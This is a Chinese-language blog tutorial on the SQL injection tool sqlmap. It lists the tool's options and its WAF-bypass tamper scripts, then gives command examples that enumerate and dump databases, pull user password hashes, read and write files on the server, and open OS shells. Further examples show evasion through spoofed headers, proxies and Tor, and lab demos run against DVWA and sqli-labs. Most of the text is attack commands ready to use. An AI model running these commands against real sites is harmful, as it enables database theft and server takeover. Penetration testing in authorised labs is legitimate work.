首页 > 数据库 >sqlmap使用教程

sqlmap使用教程

时间:2024-01-18 09:25:05浏览次数:27  
标签:sqlmap 教程 http -- py url 使用 id

sqlmap使用教程

目录

1、介绍

SQLMAP是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。

2、常用参数

--version                         #显示程序的版本号并退出
-h, --help                        #显示此帮助消息并退出
-u                                #设置目标URL
-p                                #指定测试参数
-D                                #指定要进行枚举的数据库名
-U                                #指定要进行枚举的数据库表
-T       						#枚举列的信息
-C                                #指定要进行枚举的数据库列
-U                                #指定要进行枚举的数据车用户
--current-user                    #获取当前用户名称
--current-db                      #获取当前数据库名称
--cookie                          #设置cookie值
--dbs                             #列出数据库
--tables                          #列出数据库中的表
--columns                         #列出表中的列
--dump                            #列出表中的字段
--sql-shell                       #执行SQL命令
--os-cmd                          #执行系统命令
--os-shell                        #与系统交互shell
-r                                #加载外部请求包
--batch                           #使用默认参数进行
--data=DATA                       #通过POST发送数据字符串
--level=LEVEL                     #执行测试的等级(1-5,默认为1)
--risk=RISK                       #执行测试的风险(O-3,默认为1)
-v VERBOSE                        #详细级别:0-6(默认为1)
--proxy=PROXY                     #使用HTTP代理连接到目标URL
--user-agent                      #指定HTTP User-Agent
--tamper=TAMPER                   #使用给定的脚本(S)篡改注入数据
--random-agent                    #随机的请求头!

3、tamper脚本

# 使用方法--tamper xxx.py

apostrophemask.py	# 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 	# 用非法双字节unicode字符替换单引号字符
appendnullbyte.py	# 在payload末尾添加空字符编码
base64encode.py 	# 对给定的payload全部字符使用Base64编码
between.py		# 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 	# 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 	# 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py	 # 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 	 # 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 		# 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 		# 用“LIKE”运算符替换全部等于号“=”
greatest.py 		# 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 	# 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 		# 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 		# 用小写值替换每个关键字字符
modsecurityversioned.py 	# 用注释包围完整的查询
modsecurityzeroversioned.py 		# 用当中带有数字零的注释包围完整的查询
multiplespaces.py 		# 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 		# 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 		# 转换给定的payload当中的所有字符
percentage.py 		# 在每个字符之前添加一个百分号
randomcase.py 		# 随机转换每个关键字字符的大小写
randomcomments.py 		# 向SQL关键字中插入随机注释
securesphere.py 		# 添加经过特殊构造的字符串
sp_password.py 		# 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 		# 用“/**/”替换空格符
space2dash.py 		# 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 		# 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 		# 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 		# 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 		# 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 		# 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 			# 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 		# 用加号“+”替换空格符
space2randomblank.py 		# 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 		# 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 		# 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 				# 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 		# 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 		# 用MySQL注释包围每个关键字
xforwardedfor.py 			# 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

4、使用示例

基础使用

1、判断注入点和数据类型:
     (1) sqlmap -u http://www.test.php?id=1                 #GET方法注入
     (2) sqlmap -r /etc/url.txt                             #POST方法注入(使用Burpsuite等代理工具拦截POST请求内容,将POST请求内容保存在一个文本文件中,此处为url.txt,并用sqlmap调用)
2、判断数据库名(dbs):sqlmap -u "http://www.test.php?id=1" --dbs
3、判断表名(tables):sqlmap -u "http://www.test.php?id=1" -D 数据库名 --tables
4、判断列名(columns):sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 --column
5、获取字段: sqlmap -u "http://www.test.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump

进阶使用

sqlmap -u "http://url/news?id=1" --current-user                              #获取当前用户名称
sqlmap -u "http://url/news?id=1" --current-db                                #获取当前数据库名称
sqlmap -u "http://url/news?id=1" --dbs                               		#枚举所有数据库名
sqlmap -u "http://url/news?id=1" -D "db_name" --tables                       #列出指定数据库的表名
sqlmap -u "http://url/news?id=1" -D "db_name" -T "tablename" --columns       #列列出指定数据库对应表的字段
sqlmap -u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name" --dump      #获取字段内容
sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users                      #dbms指定数据库类型
sqlmap -u "http://url/news?id=1" --users                                     #列数据车用户
sqlmap -u "http://url/news?id=1" --passwords                                 #数据库用户密码
sqlmap -u "http://url/news?id=1" --sql-shell/--os-cmd                        #执行指定sql命令
sqlmap -u "http://url/news?id=1" --os-cmd=whoami                             #执行系统命令
sqlmap -u "http://url/news?id=1" --os-shell                                  #系统交互shell
sqlmap -u "http://url/news?id=1" --dbs -o"sqImap.log"                        #保存进度
sqlmap -u "http://url/news?id=1" --dbs -o"sqlmap.log" --resume               #恢复已保存进度
sqlmap -u "http://url/news?id=1" --tamper "base64encode.py"                  #加载脚本(可利用绕过注入限制)
sqlmap -u "http://url/news?id=1" -p id  								  #指定注入参数
sqlmap -u "http://url/news?id=1" --dump-all                                  #爆出该数据库中的所有数据
sqlmap -u "http://url/news?id=1" --proxy="http://127.0.0.1:8080"  		     #指定代理
sqlmap -u "http://url/news?id=1" --delay=3 --force-ssl	     # 当爆破HTTPS网站会出现超时的话,可以使用参数
sqlmap -u "http://url/news?id=1" --is-dba 								   #判断当前用户是否有管理员权限
sqlmap -u "http://url/news?id=1" --identify-waf  						    # 检测是否有WAF
sqlmap -u "http://url/news?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://url/news?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

===================================================================================
# 过waf手法
sqlmap -u "http://url/news?id=1"
--random-agent                                         # 使用任意的User-Agent爆破
-v3                                                    # 输出详细度,最大值5会显示请求包和回复包
--threads 5                                            # 指定线程数
--fresh-queries                                        # 清除缓存
--flush-session                                        # 清空会话,重构注入 
--batch                                                # 对所有的交互式的都是默认的
--random-agent                                         # 任意的http头
--tamper "base64encode.py "                            # 对提交的数据进行base64编码
--referer http://www.baidu.com                         # 伪造referer字段
--random-agent                                         # 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3                                           # 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp                                                  # 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=http://127.0.0.1:7890                          # 使用代理进行绕过
--ignore-proxy   								    # 禁止使用系统的代理,直接连接进行注入
--flush-session  								    # 清空会话,重构注入
--hex 或者 --no-cast    							   # 进行字符码转换
--mobile         							         # 对移动端的服务器进行注入
--tor           							         # 匿名注入

直接使用

python sqlmap.py -u "https://www.vuln.cn/post.php?id=1" --force-ssl  --proxy "http://127.0.0.1:7890" --batch --dbs
python sqlmap.py  -u "http://www.vuln.cn" –cookie "id=11" --level 2
python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3 
python sqlmap.py -r "c:\request.txt" -p id –dbms mysql –file-read="e:\www\as\config.php"

5、案例演示

【sqlmap跑post的数据(含cookie)】

案例一:使用Sqlmap获取DVWA数据

dvwa-sql-Low

1、使用BP自带浏览器进行抓包(主要是抓取想要登入的cookie信息)

image-20240117224155097

2、将数据包保存成文件,放入sqlmap目录下

image-20240117224147530

image-20240117224142494

3、加上-r参数带上数据包(如果数据包当中没有cookie信息的话,跑sqlmap时会重定向到登入页面--报浏览器302状态码)

image-20240117224135833

结果就出来了

image-20240117224129283

案例二:利用unmagicquotes脚本绕过magicquotes

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-33/?id=1" --batch --tamper=unmagicquotes

image-20240117224120786

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-33/?id=1" --batch --tamper=unmagicquotes --current-db

image-20240117224107080

标签:sqlmap,教程,http,--,py,url,使用,id
From: https://www.cnblogs.com/carmi/p/17971738

相关文章

  • (6)Powershell中命令自动补全功能及使用Windows命令
    (6)Powershell中命令自动补全功能及使用Windows命令上一节主要介绍了Powershell中常见的别名,以及怎么通过别名查看真实的Powershell命令,Powershell别名的命名规范以及如何新建自己的别名(Powershell内置别名不可更改)以及Powershell中兼容性别名,详细内容怼介里。在本节主要包含......
  • Sa-Token介绍与SpringBoot环境下使用
    个人博客:无奈何杨(wnhyang)个人语雀:wnhyang共享语雀:在线知识共享Github:wnhyang-Overview官网:Sa-Token一个轻量级Java权限认证框架,让鉴权变得简单、优雅!介绍Sa-Token是一个轻量级Java权限认证框架,主要解决:登录认证、权限认证、单点登录、OAuth2.0、分布式Session会话......
  • 无涯教程-SQLite - 数据类型
    SQLite数据类型是一个属性,用于指定任何对象的数据类型,每个列,变量和表达式在SQLite中都有相关的数据类型。SQLite存储类存储在SQLite数据库中的每个值都具有以下存储类别之一-Sr.No.StorageClass&描述1NULL该值为NULL值。2INTEGER该值为带符号整数,根据值的大小......
  • 使用ChatGPT解决在Spring AOP中@Pointcut中的execution如何指定Controller的所有方法
    背景使用ChatGPT解决工作中遇到的问题,https://xinghuo.xfyun.cn/desk切指定类在SpringAOP中,@Pointcut注解用于定义切点表达式,而execution属性用于指定切点表达式的具体匹配规则。要指定Controller的所有方法,可以使用以下方法:使用类名和方法名进行精确匹配。例如,如果要匹配名......
  • 解决虚拟机环境下使用Ubuntu自带的图形化工具创建的磁盘分区无法扩容的问题
    解决虚拟机环境下使用Ubuntu自带的图形化工具创建的磁盘分区无法扩容的问题先来个结论:不要使用Ubuntu自带的图形化磁盘工具创建分区,磁盘分区操作请使用fdisk等工具。正文太长不想看的记住这个结论就行,有兴趣的接着看。首先介绍一下磁盘的基本配置,vmware中创建了两块磁盘,一......
  • 业界使用 ES 的一些工程实践
    欢迎读者在评论区共享读过的ES(ElasticSearch)工程实践的文章性能优化美团外卖搜索基于Elasticsearch的优化实践美团外卖LBS场景下,采用LongObjectHashMaphash查询方式优化了倒排链的查询、采用RLE编码将postinglist极致压缩,优化了倒排链的合并。滴滴落地ZSTD压缩算......
  • github copilot 在java中使用
    如何在Java中使用GitHubCopilot引言在本文中,我将向您展示如何在Java开发中使用GitHubCopilot。GitHubCopilot是一款由GitHub开发的人工智能代码建议工具,可以帮助开发者提高代码编写速度和质量。对于刚入行的小白,学习如何使用GitHubCopilot可以极大地提升开发效率和学习曲线。......
  • LLaMA如何使用python调用
    使用Python调用LLaMA解决图像分类问题介绍LLaMA(LowLatencyModelAnalyzer)是一个用于分析和优化机器学习模型的开源工具。它可以帮助开发者在低延迟的环境中运行模型,并提供优化建议。本文将介绍如何使用Python调用LLaMA来解决一个具体的问题——图像分类。问题描述假设我们有......
  • 【.NET 5.0】WPF使用弹窗选择文件和文件夹
    一开始使用下面方法调起文件夹窗,始终提示System.Windows.Forms这个命名空间无法引入.//选择文件夹System.Windows.Forms.FolderBrowserDialogFolderBrowserDialog=newSystem.Windows.Forms.FolderBrowserDialog();if(FolderBrowserDialog.ShowDialog()==System.Win......
  • 无涯教程-SQLite - 安装步骤
    SQLite以其出色的零配置功能而闻名,这意味着不需要复杂的设置或管理,本章将引导您完成在Windows,Linux和MacOSX上设置SQLite的过程。在Windows上安装步骤1-转到SQLite下载页面,并从Windows部分下载预编译的二进制文件。步骤2-下载sqlite-shell-win32-*.zip和sqlite-dll-win......